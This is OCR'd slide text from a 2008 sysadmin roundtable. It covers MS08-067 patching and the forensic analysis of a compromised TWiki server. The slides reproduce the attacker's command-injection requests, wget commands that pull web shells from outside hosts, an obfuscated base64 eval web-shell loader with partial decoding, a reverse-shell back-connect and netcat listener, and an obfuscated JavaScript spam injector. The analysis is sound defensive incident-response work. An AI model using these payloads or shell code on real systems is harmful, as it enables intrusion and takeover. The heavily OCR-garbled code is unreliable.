Sysadmin Roundtable
NOvemb3r 2008

g - |
L3 |{
i 1
K. Tl
v +
- - J
LS
| T
-
f



Topics

 Critical vulnerability
- MS08-067
 TWikis on FIRE

 Pentest results so far
 Web proxy pages



MS08-067

* Patch from Microsoft, released out-of-band
* Exploit's the Server service in Windows
 Unauthenticated to compromise if non-Vista
 Authenticate to compromise if Vista

* CST Is scanning for this via the network

* Blocks are being done



More MSQ8

 Domain machines were patched shortly
after Microsoft made the patch available

* To date, about 25 machines caught by
scanners






Background

Outside report of possibly compromised
node hosting spam pages

ngreps showed POSTs to machine in
question from an unknown source

suspicious POSTs



Investigation

* Very old TWiki installation (4.0.3)
- Current is 4.2.3

« LOTS of various other pieces of software
- Third party
- In house

« Suffice to say, there was a lot that could
potentially be compromised.
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Oh wonderful

Hactpohen

GO Ogle ISit‘EZQﬂ"u‘ inurl: ftwiki‘bin NEE: PacwipeHHER NoncK

“* Mowck B MHTeprete ¢ [Mowck cTpaHWL Ha pycckom

WebRss < SrmProject < Twiki - [ [Nepesectn 31y cTpaduuy |

Webs. DCacheProblemResolver - EnstoreCorner - FermiSrmCp - Main - Sandbox -
Srminternal - SrmProject - SrmTroubleshooting - TWiki - WorkshopsAndConferences ...
https://srm.fnal.gov/twiki/bin/view/SrmProject/WebRss - 36k -

CoxpaHeHo B kawe - [Noxoxne cTpadubl







2008/10/03 15:58:00.537059
BAD GUY -> GOOD GUY:80
GET /cgi-bin/TWiki/bin/configure

7action=image;image=| 1S%?2 0-|a|;type=text/plain

Great, now, we're as good as....



wget http://some.website/js/calendar/lang/cal.txt

mv cal.txt 1.php
GET /cgi-bin/TWiki/bin/1.php
chmod 755 1.php

Oh please be gentle...



rm 1.php

Oh good, *stops sweating*, we're safe



wget http://mdasla.org/components/com_rss/.rss/cg.txt;
mv cg.txt cqg.pl;
chmod 755 cg.pl

GET /cgi-bin/TWiki/bin/1.pl

GET /cqgi-bin/TWiki/bin/configure?action=image;
image=|chmod -r configure.pl 1.pl

chmod 766 1.pl

chmod 644 1.pl



rm 1.pl

Yes! Give up! Give up!



pwd
1s%20-12a%20/var/www/

1S9%20-1a%20/var/www/html

And then we seemed to have lost

site of said attacker



Our network greps

included a two minute period of emptiness

Followed...

...by disaster



GET /any/1.php

GET /any/l.php?view writable=0&dir=/var/www/html/

POST /any/l.php?action=editfile
&opfile=/var/www/cgibin/TWiki/bin/configure.pl
&dir=/var/www/cgi-bin/TWiki/bin/"

And well, the rest as they say, is history



So CST was hoping that we'd be able to find remnants of the attack

either on the system or on the web or both

Luckily, we found remnants at both places

And now for your viewing pleasure, a look at the tools the

script kiddies use



First, the 1.php script they were using

It's a complete C&C web application in a box

* File manager

Shell command execution

MySQL Connection

MySQL file upload and download

Arbitrary PHP code execute

Reverse shell “click and go” (both perl and C)

and the entire thing is contained in a 43k PHP file



<7php

$0="0AEAOzh3b3cKDOAJYnV1aHVYdWIAAHdodXNuaWAvMC48Cg 1IHAGIAAHNY amZgbmRYdnJoc2TJOW
HUAgHTpc25qYi83AfFodVhOc2Z1TJABzLwDRI 20Bk5c6T 2T /d2toY2IAEy8gIyvAr T 2pulHVoAZEvLg
JSAWLg SAEBApADT 1w2WicsJwDEN1oHYGNiYSAkbmkEAFRCWEVISFMEYHRzChJrZkkEZAFwW1sBEICA
oAFB jbnVpZg jOWFgAZEFOS0JYWCAuKQGABoEoKARVT100AFhOTkk COARAADAVVOOXWEhUKydADCAR
Y54n0Cc2Jz0nNycDUOM+004AAIVCRENIVVSYVETXRIVGALAnDEAGO1cgCCADDERI SgYwZGtmdHRYA
PFif250c30vIAFEBhENKOIAQFAEAXBEAZAV /WEB3ZBEUY 250WGFyaWOSgAThAETKYWBY cWZ1LyABg(
£1a2T1BwnMGEG50aX0gCLwOEESTQUgF4CEmYnUEEmIgbiB81HnBuaWFoJ5s jA+ADoi7g0AmbHoIZYVh
rbmpucx3 jCglhaHViAATMZGEvINV1ZindvIFhAQh JOTAAIWEAIVEMgLidndCe jIxB2cmIAsHRzL1d8
CeO0AWUJAYYCUZ2xificggDoSAuBxZmtyYg LDDm5ShIy8 jWILcAbBEN3onJhVgWAVABGEOAbI SOwLED
g 5zhyMP4APAEOBOWA jzASQP4040DnoHEAT g BRLETATOAAQkOACZATAAMAONKCOAAAUBT 7V TL1 /UMAM
Lj0cOQdsAAAAZotKAONI2Z jambp4AAFsAT JB3EoKCENwWLD21+ /Vrc ThAAHF 7 NbuDaMrJ3N1cmInyal
BUYOQAARNhZmtOASHR trrUuv/P7CnIAATFx0OHWps jp0/XT2degBaVe IAHhZG91 ZGwgWeYwBEELsAYA
Z+(C+ /ASxgBsCBsDs19m,/wi LAxboBMOPXdyeg ABCAWAPQIGZpYCIr TAQADVA0Z+DD /bEAANMN ZGhob
G51J9DwiMSwsckAAaDULBvEzeXVrcDOKye800TgAGCY thzS5+rSkEycGAwoxtuPGuCsAASewdtP 1wl
yZ2pLTRwEvPyAUhh jBExcC30L0IBwYTd3ViCFAcWATxC/ABYwdy ICHUSQLAY 2ZhgZmSpAwSK cEWwubE
DLOoEd2ZzbwMDEAYbINfXoMHAAv1rbkGoY(QjzPzEzNzcREB /vOgARTx+huubNch j /H+8B8R /hCglq
SmEvZnVEMAKATyByEABzYT8rJGO1ZmN1dS81Z2ChpowAAYm1zK IN+d2T 9T 3Nif3MobwliQc2prPCcDh
DoD0OCo/J5PBeidiayH4dCIFXmVuYDIFXwVEEVKDOQOVPCpdg ZWzBuAlU/BTEFOOMwBSEFT 2tmY jAZBV
BFXWVZbnRoAYIqPz8yPiolBcNng SNOYmthK1A jgZRWIFVRQ1Ve IEvwAMELORGADEMgVEKgAQF+POF
AVERVT1dTWE1GSkIgY 7 FmBCNMUWZAancFUADBLxbRESA/ jx2xJ87qsHzA2 jpxHSAAAAMEHGEaMmZk
VrECUCclaZhgaBTocnM1SZNOLhMvIDEyZVEXY ComdictIxQANDEYESQEOSaB3LyA7Z21d0c35rCABLD

and on and on and on

|+




And at the end of the file

eval(basetd_decode("JGxsbDOwOZV2YWwoYmFzZTYOX2R1Y29k75g1 Skd4c2JHeHNiR3hzYkd4c
1BTZG1ZWESsTmpSZ1pHVmpiM1TsSnpzPS5IpKTskbGwiMDt 1dmF sKCRsbGxsbGxsbGxsbCgiSkddc?
JHeHNiR3hzYkd30Uoy0X1a02M31ikpOyRsbGxsPTAY JGxsbOxsPTM7 ZXZhbCgkbGxsblxsbbxsbluw
olkpHdz1KR3hzYkd4c2THeHNiR3hz50N5dktUcz01iK5k7 JGxsbGusbGwiIMDskbGxsbGxsP5gkbGxs
bGxsbGxsbCgkbFsxXS5k8PDgpEkyvRsbixsbGxsbGxsKCRsWzJdKTt 1dmFsKCRsbGxsbGxsbGxsbCgis
kddc2JHeHNiR3hzYkd4c2JHdz 1IKMO4wY 214bCIpYzciK5k 7 I GxsbGxsbGxsbDOxN jskbGxsbGxsbh
wOIil7/ZmOyKDskbGxsbGwBI GxsbixsbGxsbGxsbGwoJGwpOy 17 aWY o GxsbGxsbGxsbDOOMC1 7 JGx
sbGxsbD0oJGxsbGxsbGxsbGwo  GxbI GxsbGxsKkytdkTw80Ck Y JGxsbGxsbCs8] GxsbGxsbGxsbGwo
JGxbJCxsbGxsKkytdETskbCxsbGxsbixsPTE2031pZigkbCxsbGxs] jB40DAWMC LY JGxsbD0oJ Gxsh
GxsbGxsbGwolGxbIGxsbGxsKy tdKTwBNCE 7 JCxsbCsO9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbFOpP j
40ETtpZigkblGxsKXskbGwIKCRsbGxsbixsbGxskCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGx
sbGCwOMDskbGxsbDwkbGw/ JGxsbGwrEykkbGxsbGxsbixbI GxsbGxsbtwrJCxsbiGxdPSRsbtxsbbxs
bFskbGxsbGxsbCOkbGxsKkyRsbGxsXTskbGxsbGxsbCs0IGxs0311bHN1eyRsbD0oJ GxsbGxsbGxsh
GwoJ GxbJGxsbGxsKytdKTwBOCk 7 JGxsKkz0kbGxsbGxsbixsbCgkbFskbGxsbGwrK10pKkzE2022vel
glkbGxsbDOwOyRsbGxsPCRsbDskbGxsbGxsbGxb I GxsbGxsbGwrJ CxsbGwrK109JGxsbGxsbGxsbliw
0JGxbICxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7 fX11bHN1 T CxsbGxsblxsWyRsblxs
bGxsKytdP5SRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDwSPTEY JGxsbGxsbGxsbCOLO
311dmFsKCRsbGxsbGxsbGxsbCgiSkd4c2IHeHNiR3hzYkd4c2JEMG5ZMmh 5SnpzPSIpKTskbGxsbC
wiMDt1dmFsKCRsbGxsbGxsbGxsbCgiSkd4c2THeHNiR3hzYkQwaVB55XVER3hzYkd4c2THeHNiR3h
zYkNnMklpazciKSk7/JGxsbGxsbGxsbGwi il ZmOyvKDskbGxsbGwi I GxsbiGxsbGw/KXskbGxsbbxs
bGxsbC49JGxsbGxsbbxsbCxsbCgkbGxsbGxsbGxbIGxsbbxsKkytdX jE4AMDcp0311dmEsKCRsbGxsh
GusbGxsbCgiSkd4c2JHeHNiR3hzYkMOOUpHeHNiR3hzYkd4c2JHASVER3hzYkd4c2THeHNiR3hzYk
NnMk1Da3VJajhpT3c9PSIpKkTt1dmFsKCRsbGxsbCxsbGuwpOw==") )]




So it's terribly obfuscated.

But....

| can decrypt that



First, | took a crack at the first block of code. It was obviously

Base64 encoded.

The problem occurred when | did the actual decode though.



Doesn't look like any language I'm familiar with!
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Actually, it is gibberish

Decode the 2" part first and we'll see why it's gibberish



The 2" part looks something like this

<?php

$111=0;

// eval(basebd_decode("JGxsbGxsbGxsbCxsPSAdiYXNINJREZGV jb2R1Tzs="));

$11111111111="basetd_decode’;

$11=0;

S/ eval($11111111111("JCxsbCxsbGxsbCwaI29yZCci ")) ;

$1111111111="ord" ;

$1111=0;

$11111=3;

JOoeval($11111111111(" " JGwOIGxsbGxsbGxsbGxsKCRvETs="));

$1=511111111111(%0);

$1111111=0;

F111111=CHF11111 01101 CH1[A] )=<B8)+5111110101101CK1[2]);

J/Ooeval($11111111111("ICxsbCxsbGxsbGxsbCwiI3NOemx1bicy?" ) ) ;

$1111111111111="strlen’;

$111111111=16;

$11111111="""";

for( ; $11111 < $1111111111111(%51); )1

1f($111111111==0){

$111111 = ($1111111111¢CF1[$F111104++])<<B);
$111111 += $1111111111¢F1[($F111104++]);
$111111111=16;

}

if($111111 & OxBO00){
$111 = ($1111111111(C51[5111114++]) << 4);
$111 += (F1111111111CHI[$1111T]) >> 4);
1if(§111) {
$11=(F1111111111CHI[$11110++]) & OxOf) + 3;

[*]




Ok....more readable....

Still obfuscated

...but | can do better



[Ha = 0;

$1111111111111 = 'strlen’;
$11111111111 = 'baset4_decode’;

$1111111111

$b = 0;
$c = 0;
td = 3-

"ord';

|$1 = haseE%_decudE[$u};|
e '

$

=%
=+ 0Y

16;

=%

(ord($1[1])<<B) + ord($1[2]);

Eur{ ; $d < strlen($1); !jl

if($f == 0){

}

$g = (ord($1[$d++])<<B);
fg += ord($1[$d++]);
$f=16;

if($g & OxB000){

$a = (ord($1[$d++]) << 4);
$fa += (ord($1[$d]) >> 4);
1f(%111) {
$b = (ord($1[$d++]) & Ox0f) + 3;
for($c = 0; $c < $b; $b++)
$h[%e + $b] = $h[fe - $a + $b];

$e += §b;
} else {
b = (ord($1[5d++]) << B);




Aha!

Notice that the first red box decodes that first huge block of junk

And the second red box loops over the entire

length of that decoded stuff



So this is what 1t Is

* 1°* block is “something”

« 2" block decodes that something and
evaluates it (PHP runs it)

* So it's a poor man's encryption tool

Knowing that, if you change that eval() to echo, you get the sourcecode



?»<?php

error_reporting(7);

@set_magic_quotes_runtime(0);

ob_start();

fmtime = explode(' ', microtime());

fstarttime = $mtime[l] + $mtime[0];

define( "'SA_ROOT', str_replace('\\', '/', dirname(__FILE__))."/");
J/define( "IS_WIN', strstr(PHP_0O5, '"WIN') 7 1 : 0 );
define("IS_WIN', DIRECTORY_SEPARATOR == "‘\\');

define( "I5_COM', class_exists('COM') 7 1 : 0O };
define("I5_GPC', get_magic_quotes_gpc());

$dis_func = get_cfg var('disable_functions');
define("IS_PHPINFO', (l!eregi("phpinfo",$dis_func)) ? 1 : 0 );
Bset_time_limit(0);

foreach(array('_GET","'_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{O} I="_") {
if (IS_GPC) {
$§_wvalue = s_array($_value);

I3
$5_key = $_walue;

[+]




Very awesome.

So what does it look like in operation?

Take a look



™ Applications Places System %@@@@ ® 10:45 AM @3

) Mozilla Firefox =

Fle Edit Miew History Bookmarks Tools Help
& - ?@ [ %¢ ﬁ [@ http:/flocalhost/fully-decoded php '] [" ':'E'ﬁ'.]

Most Visited ™ @ CentOS [ZiSupport™

Logout | File Manager | MySOL Manager | MyS0L Upload & Download | Execute Command | PHP Variable | Eval PHP Code | Eack Connect Safe Mode: Mo

File Manager - Current disk free 3.02 G of 7.14 G (42.25%)

Current Directory (Non-writable, 0755) | Aarfwww/html/ m
WebRoot | View Writable | Create Directory | Create File m
Filename Last modified Size Chmod | Perms Action

FParent Directory

0 nessguik 2008-06-2317:13:17 - D755/ drwsr-xr-x / tim Del | Rename

[ fully-decoded.php 2008-11-01 104354 64249 K 0634/ -rw-r--r--/ tim Down | Copy | Edit | Eename | Time
[ latestiar.gz 2008-04-09 16:01:17 80093 K 0634/ -rw-r--r--/ root Down | Copy | Edit | Eename | Time
[ Packing download selected - Delete selected 1 directories / 2 files

Processed in 0.0B0873 second(s)

javascript:goaction('sglfile');

@ | B tim@Iocalhost: jvariwww/html || @ Mozilla Firefox | @ starting Take Screenshot @]
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™ Applications Places System %@@@@

| ) Mozilla Firefox BEE)

Fle Edit Miew History Bookmarks Tools Help

“a@ - ?@ k_\ ﬁ [ http:/flocalhostffully-decoded php v] [v @

Most Visited ™ CentOS [ZiSupport™

Logout | File Manager | MySOL Manager | MyS0L Upload & Download | Execute Command | PHP Variable | Eval PHP Code | Eack Connect Safe Mode:Mo

MYSQL Manager »

DBHDSIZ||DEE|I‘IDET |:|3306 |DBUser:|rDm |DBPass:| DECharset:

Frocessed in 0.000773 second(s)

javascript:goaction('sglfile');

©

[ tim@localhost:/varfwww/html ][ @ Mozilla Firefox ][ @ Starting Take Screenshot
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™ Applications Places System %@@@@

| ) Mozilla Firefox BEE)

Fle Edit Miew History Bookmarks Tools Help
“a@ - ?@ % ﬁ [ http:/localhost/fully-decoded php V] [v ‘Q{]

Most Visited ™ CentOS [ZiSupport™

Logout | File Manager | MySOL Manager | MyS0L Upload & Download | Execute Command | PHP Variable | Eval PHP Code | Eack Connect Safe Mode:Mo

Execute Command »

Command

s fmp

gconfd-tim
keyring- Fdp3JK
keyring-nQbITTf
keyring-pZtNRk
mapping-tim
orbit-tim
pgHkOhPy.bin.part
ssh-pOgTRo2481
virtual-tim.UgSeExh
virtual-tim.ybDDS7

Processed in 0.042804 secondi(s)

javascript:goaction('sglfile');

©

[ tim@localhost: /var/www/html ][ i‘, Mozilla Firefox




»
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i1
L=
=
=
PN

™ Applications Places System %@@@@

| ) Mozilla Firefox BEE)

Fle Edit Miew History Bookmarks Tools Help

@ - ?@ k_\ ﬁ [ http:/flocalhostffully-decoded php V] [v ‘Q{]

Most Visited ™ CentOS [ZiSupport™

Logout | File Manager | MySOL Manager | MyS0L Upload & Download | Execute Command | PHP Variable | Eval PHP Code | Eack Connect Safe Mode:Mo

MNow script try connect to 172.16.1.101 port 12345 __.

Back Connect »

Your IP:[172 161 101 |"r’|::urPnrt:|12345 |UEEZ| perl j|m

Frocessed in 0.044253 secondis)

javascript:goaction('sglfile');

©

[ tim@localhost:/varfwww/html ][ @ Mozilla Firefox ][ @ Starting Take Screenshot




File Edit Wiew Terminal

1s
fully-decoded.php
latest.tar.gz

@

L= - R v I e QR

Tabs

Linux localhost.localdomain 2.
8 1686 athlon 1386 GNU/Limux
uid=48(apache) gid=48(apache)

STIME

16:

16:
16:
16:
16:
1lo:

37

37
37
37
37
37

nessquik

dir
fully-decoded.php latest.tar.
pwd

SvarSwen S html

ps -ef

UID PID PPID
root 1 ]
root 2 1
root 3 1
root 4 1
root 5 1
root 5] 1

LM pochicos=

Help

6.18-92.1.10.e15 #1 SMP Tue Aug 5 07:41:53 EDT 2080

nc -1 -p tim@puchiko:~% nc -1 -p 12345

groups=48(apache)

gz

=

e B BN IR

nessquik

ae:

ae:
ae:
ae:
ae:
0a:

TIME

ae:

ae:
ae:
ae:
ae:
0a:

04

oo
oo
oo
oo
e

CMD
init [5]

[migration/0]
[ksoftirgd/@]
[watchdog/0]
[events/0]
[khelper]




Attacker dropped several copies of that tool all over the

web area. He also dropped another tool

It was equally obfuscated, so I'll save you the eye strain.

It looks like this after decoding and running it in my sandbox



™ Applications Places System %%@@@ W s.48PM @5

Mozilla Firefox

Fle Edit Miew History Bookmarks Tools Help

43 hd ?@ ﬂ [@ http:/flocalhost/nos-decoded . php V] [" '35’3\1_]
f5] Most Visited @CentGS ZiSupport™
[Informaé®es
Sistema: Linux _E
Uname: Linuxlocalhostlocaldomain 2.6.18-92.1.10.615 £1 SMP Tus Aug 5 07:41:52 EDT 2008 iGE6
FHF: 5.1.0, safe mode: OFF —
Methods: wget curl GET
Ip: 127.0.0.1
Cummand:| || ST |
-Dir NO: fvarfwww/html/ - [New Dir] [New File] [BackTool]
Upload: [ Browse... ]| Send |
Entrance in the directory, OK!
Ferms File Size Commands
32lgs nos decoded. php 20.95 KE [Bename] [Del] [Chmod] [ Copy
16877 o 4 KE [Bename] [Del] [Chmod] [Copy]
16877 nessquik/ 4 KE [Bename] [Del] [Chmod] [Copy]
23188 fully-decoded.php 56423 KB [Bename] [Del] [Chmod] [ Copy]
33188 latest tar o= BE00.92 KB [Rename] [Del] [Chmod] [Copy
Done

@ [ tim@localhost:/varfwww/... ][ |& Screenshot.png ][ @ Mozilla Firefox ][ @ Starting Take Screenshot ]ﬁ,'




™ Applications Places System %@@@@ W s6.00PM @3

Mozilla Firefox

Fle Edit Miew History Bookmarks Tools Help

43 E:> hd ?@ [ %¢ ﬁ [@ http:/flocalhost/nos-decoded . php?http://classtoppers.com/focmd. txt? &action= V] [" 33‘]

Most Visited ™ @ CentOS [ZiSupport™

[Informa®®es —
Sistema: Linux E
Uname: Linuxlocalhostlocaldomain 2.6.18-92.1.10.6l5 #1 SMP Tus Aug 5 07:41:53 EDT 2008 1686

FHF: 5.1.6, safe mode: OFF —
Methods: wget curl GET
Ip: 127.0.0.1

Commamud: |15 j'tmp || Send |

-Dir NO: varfwww/html/ - [New Dir] [New File] [BackTool]

Upload: [ Browse... ]| Send |

Results: 1s ftanp
angel bc
groonfd-tm
kewring-Fdp 3K
kevring-nObITE
kewvring-pZtMNEk
mapping-tim
orbit-tim
ssh-pOgqTRo2481

virtual-tim. UgS6Xh

Perms File Sizme Commands

33las nosdecoded php 20.95 KE [Bename] [Del] [Chmod] [C oy

16877 o 4 KB [Eename] [Del] [Chmod] [Copy]

16877 nessoquiky 4 KB [Bename] [Del] [Chmod] [Copy]

100 Faillar Amnadad whs AT TR I em=rmal TTHAIT T hem adl T mamarl
Done

@ [ tim@localhost:/varfwww/... ][ |& Screenshot.png ][ @ Mozilla Firefox ][ @ Starting Take Screenshot ]'ﬁ,'
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File Edit Wiew Search Tools Documents Help
8.0 & 0 & X
MNew Open Save | Print... Paste = Find Replace
[ | web-recursive-list E:3|
TWiki/lib/TwWik1 /Plugins /MysiwygPlugin:

total 40

drwxrwxrwx 3 apache apache 4096 Jun 25 2006 .

drwxrwxrwx 9 apache apache 4096 Aug 25 16:30 ..

drwxrwxrwx 2 apache apache 4096 Oct 3 16:59 HTMLZTML
-rwxrwxrwx 1 apache apache 4586 Jun 25 2006 HTML2TML.pm
-rwxrwxrwx 1 apache apache 20404 Jun 25 2008 TML2HTML.pm
TWiki/lib/TwWik1 /Plugins MysiwygPlugin/HTML2TML :

total 76

drwxrwxrwx 2 apache apache 4086 Oct 3 16:59 .

drwxrwxrwx 3 apache apache 4096 Jun 25 2006 ..

-rwxrwxrwx 1 apache apache 1788 Jun 25 2006 Leaf.pm
-rwxrwxrwx 1 apache apache 29953 Jun 25 2006 MNode.pm
-rwxrwxrwx 1 apache apache 21781 Jun 25 2006 Nos.php
-rwxrwxrwx 1 apache apache 5436 Jun 25 2006 WC.pm
TwWik1/lib/Twik1/Prefs:

total 20

drwxrwxrwx 2 apache apache 4096 Jun 25 2006 .

drwxrwxrwx 12 apache apache 4096 Oct 31 11:49 ..

- PWX WX MW 1 apache apache 4014 Jun 25 2006 Parser.pm
-rwxrwxrwx 1 apache apache 7596 Jun 25 2006 PrefsCache.pm
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File Edit Wiew Search Tools Documents Help

o E .0 = O &

MNew Open Save = Print... Paste = Find Replace

[ | web-recursive-list |

TWiki/lib/TwWik1 /Plugins /MysiwygPlugin:

total 40

drwxrwxrwx 3 apache apache 4096 Jun 25 2006 .
drwxrwxrwx 9 apache apache 4096 Aug 25 16:30 ..
drwxrwxrwx 2 apache apache 4096 Oct 3 16:59 HTMLZTML
-rwxrwxrwx 1 apache apache 4586 Jun 25 2006 HTML2TML.pm
-rwxrwxrwx 1 apache apache 20404 Jun 25 2008 TML2HTML.pm

TWiki/lib/TwWik1 /Plugins MysiwygPlugin/HTML2TML :

total 76

drwxrwxrwx 2 apache apache 4086 Oct 3 16:59 .
drwxrwxrwx 3 apache apache 4096 Jun 25 2006 ..
-rwxrwxrwx 1 apache apache 1788 Jun 25 2006 Leaf.pm

rexrwxrwx 1 apache apache EIEEI Jun 25 2006 Nos.php

-rwxrwxrwx 1 apache apache 5436 Jun 25 2006 WC.pm

TwWik1/lib/Twik1/Prefs:

total 20

drwxrwxrwx 2 apache apache 4096 Jun 25 2006 .

drwxrwxrwx 12 apache apache 4096 Oct 31 11:49 ..

- PWX WX MW 1 apache apache 4014 Jun 25 2006 Parser.pm
-rwxrwxrwx 1 apache apache 7596 Jun 25 2006 PrefsCache.pm
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Things went quiet for a little while until the 21st

Then the outside report came in and we

moved to investigate.

The attacker was back and had dropped

some equally awesome spam



b dXp pro oem software - Download discount OEM software for cheap - Mozilla Firefox

File Edit View History Bookmarks Tools

+ .. @ Tissue @) Tissue

@ Tlssue

Help
®e Flickr: S... [ Google ... [ CSSfes...  dz Joel Sp... [ Object ... [} JavaScr...

L TWiki - t...

[} Welcom...

[ xp pr....3 -

HOME ABOUT ARCHIVES PAGE CONTACT LINKS PAGE

Buy discount OEM software
downloads

The best site to download discount OEM software for cheap

< PURCHASE SOFTWARE ONLINE ADOBE CS2 OEM =

Xp pro oem software

Cualities are not the phone! secondly, and it's a "l GB Memory Stick” PRO xp pro cem softwars
supplied. this phone 3 days | think W81 0i is the music tones, as windows xp cem download MN73. 1
have the performance had heard on me xp pro cem software impressive silent communication, 6. xp
pro oem software M7 3. This has gained mainstream informal acceptance in your ipod extinct and
not good.

Xp pro oem software mobile xp pro oem software in noisy conditions e 1 gig memory card inc does
get P990i but | instrument. Photo guality of all the photos videos o store all the music. in sunlight
track selloem software xp pro cem software is most user friendly software supplied stereo
headphones and download music! Probably the D900 then you can enjoy stereo sound a 1
{thought this)! The overall size of these phones allow users to their own music! ive learnt my
upgrade is low light xp pro oem software settings.

This phone with a even zoom and applying these to shots. The white balance and lead by vodafone
for just a sony. having the ringback tone photoshop cs oem the photo to launch a loudspeaker. The
camera with xp pro oem software high speed interneton the N73. Yes, but still - it. The overall size
of phones is an xp pro cem software mobile.

Ifxp pro oem software should've stuck fo customise your pocket or to close itis also attracted xp pro
oem software while out there. used software these phones xp pro oem software extremely
widespread and a normal ringtone. How can be gutted acting only give itcan cause problems etc
manager for. The application which i had the requirements for the Mokia (for the customisable xp
pro oem software) available to enable replacement of tracks! Rings (are,) once yet and key that's
saying that you have got the photos. Whereas older telephones simply the BEC reported that you're
looking for conversations cheap excel software it Sound quality mp3's on xp pro cem software, and
had to party after hearing that there is perfect. Like xp pro oem software is sentto launch a little
prone to home.

Various companies now and features are still ok, buy and download software haven't had heard on.
Mavigation joystick - the phone does make 3G connection makes excellent! xp pro cem software
places where to close it. Bad bits - it, not too. The battery life of course, and plasticky. Then there is
no fast. xp pro oem software the words from sony fan and 15 frames per minute xp pro cem
software!

For regular telephones simply amazing and office 2003 cem basey sound made the playback
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The awesome part was the javascript



Eunctiﬂn to_upper(str) { var res = "'; for(i = 0; i < str.length; ++1i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (3)); } return
res; };

eval(to_upper("grixphqwlrshg+,>#grfxphqwlzulwhog+% _u_g?olgn#kuhi@ %kwws=22wrrrrrlel}2rgolghio2vwxiiZvw|ohlfvv_%#uho@_%ww|ohvkhhw_%#w| sh@_%wh{
w2Evv_%#2A_u_qg?vw|oh#w| sh@_¥wh{w2fvv_%A_g_u_gerg|#~pdujlg=#3s{>#irgwlidple|=#Yhugdgd,/#Duldo,/#Khoyhwlfd/#vdgvivhuli>#irqwlv]l }h=#44ds{>#irgwlzhl
Jkw=#grupdo>#froru=#&788779<80>_u_gwdeoh#~irqwlidplo|=#Yhugdqd/#Duldo/#Khoyhwlfd/#vdgvOvhuli=##irqwlv]l th=#44s{>#irqwlzhljkw=#qrupdo><80>_u_qw
g#~#wh{wldoljg=#ohiw>#<80>_u_qglohiw#~pdujlqlwrs=43s{>##pdujlglerwwrp=43s{>##pdujlqlohiw=8s{>#erughu=#4s{#vrolg#&0g; <6e><80>_u_qglohiw#wk#~zlgw
k=#4<0s{>#kh] jkw=#56s{>#edfnjurxgg=#xuo+kwws=22wrrrrrlel }2rqolghio2vwxiiZe jbohiwwklmsj,>#irqwlidplo | =#Yhugdqd,/#Duldo/#Khoyhwlfd/#vdqvOvhuli=#

JOwrs=#6s{>#edfnjurxqg=#xuo+kwws=22wrrrrrlel }2rqolghio2vwxiiZejbgdywgljli, <B80>_u_glohiw#d=olgn#~irqwlidplo|=#Yhugdgd>#froru=#&888888>#irqwlzh
1jkw=#erog>#irqwlvl th=#46s{>#wh{wlghfrudwlrg=#qrgh<80>_u_glohiw#d=y1lviwhg#~irqwlidplo|=#Yhugdqd>#froru=#&888888>#irqwlzhl jkw=#erog>##irqwlivl}
h=#46s{>#wh{wlghfrudwlrg=#qrgh><80>_u_glohiw#d=dfwlyh#~irqwlidplo|=#Yhugdqd>#froru=#&888888>#irqwlzhl jkw=#erog>#irqwlvl}h=#46s{>#wh{wlghfrudw
lrg=#grgh><80>_u_glohiw#d=kryhu#~froru=#uhg>#wh{wlghfrudwlrg=#xgghuolgh<80>_u_q_u_glgsxwlvhdufk#~irqwlvl}th=#46s{>#edfnjurxgglfroru=#&IIIIIT>#
erughu=#4s{#vrolg#&0ig; <Ger#zlgwk=#533s{ >##froru=#&8HEHEH<80>_u_glgsxwlexwwrg#~zlgwk=:8s{>##irqwlv] }h=#46s{><80>_u_girup#~sdgglgj=3s{>pdujlg=3
s{<B80>_u_g_u_qgd=olgn#~#froru=#&5486<9>#irqwlzhl jkw=#qrupdo>#WH[WOGHFRUDWLRQ=#grgh>#<80>_u_qgd=y1vlwhg#~froru=#&5486<9>#irqwlzh 1 jkw=#qrupdo>#WH
[WOGHFRUDWLRO=#grgh>#<80>_u_qd=dfwlyh#~froru=#&5486<0>#irquwlzh] jkw=#qrupdo>#WH[ WOGHFRUDWLRO=#grgh>#<80>_u_gd=kryhu#~froru=#&GH3333>#wh{wlghfr
udwlrg=xqghuolgh<80>_u_g_u_qgol#~pdujlglwrs=43s{>#pdujlglul jkw=53s{>#=sdgglqj=8s{>#wh{wldoljg=mxvwli|><80>_u_qgro#~<80>_u_gdlwlwoh=olgn##~irqwlv
1 h=#4:s{>##froru=#&6FOF78>#irqwlzh] jkw=#qrupdo>#WH[WOGHFRUDWLRQ=#qrgh>#<80>_u_qgdlwlwoh=y1vlwhg##~irquwlvl }th=#4:s{>#froru=#&6F0F78>#1rqwlzhljk
w=#grupdo>#WH[WOGHFRUDWLRO=#grgh>#<80>_u_qgdlwlwoh=dfwlyh##~irqwlvl}h=#4:s{>#froru=#&6FOF78>#irqwlzh] jkw=#qrupdo>#WH[ WOGHFRUDWLRO=#qrgh>#<80>_
u_gdlwlwoh=kryhu##~froru=#&GH3333>#wh{wlghfrudwlrg=xgghuolgh<80>_u_g_u_glgrpdlg#~irqwlidplo|=#Dulde/#Khovhwlfd/ #vdgvivhuli>#irqwlvlth=#5;s{>#
irgwOzhljkw=#erog>##sdgglqjlohiw=#53s{>#froru=_&9g ; <6e<B80>_u_qglvw|oh#~irqwlidplo|=##Duldo/#Ekhoyhwlfd/#vdqvOvhuli>#irqwlvl}h=#44s{>#irqwlzhl jlkw
oru=&538GD ; >#sdgglgjlul jkw=83s{><80>_u_qg?2vw| ohA_qg_qg?wdech#erughu@3#fhoovsdflgj@3#fhoosdgglgj@3#zlgwk@; 33#kh] jkw@d33(#dol jo@ fhgwhu##vw| ch@d_%e
rughulohiw=#4s{#vrolg#&eleBe:>#erughulul jkw=#4s{#vrolg#fedefe:>_%A_u_g#?i00rs00A_u_g#Pwuld_u_g##?wg#frovsdgib#zlgwkd; 33#kh] jkwdl ; 3A_u_g###?irup
#phwkrg@_%jhw_%#dfwlrq@_%kwws=22wrrrrrlel}2rgolghio2vhdufklsks_%A_u_g###?wdeoch#erughu@3#fhoovsdflgj@3#fhoosdgglqj@3A_u_gia##?wuld_u_qg####7wg#zl
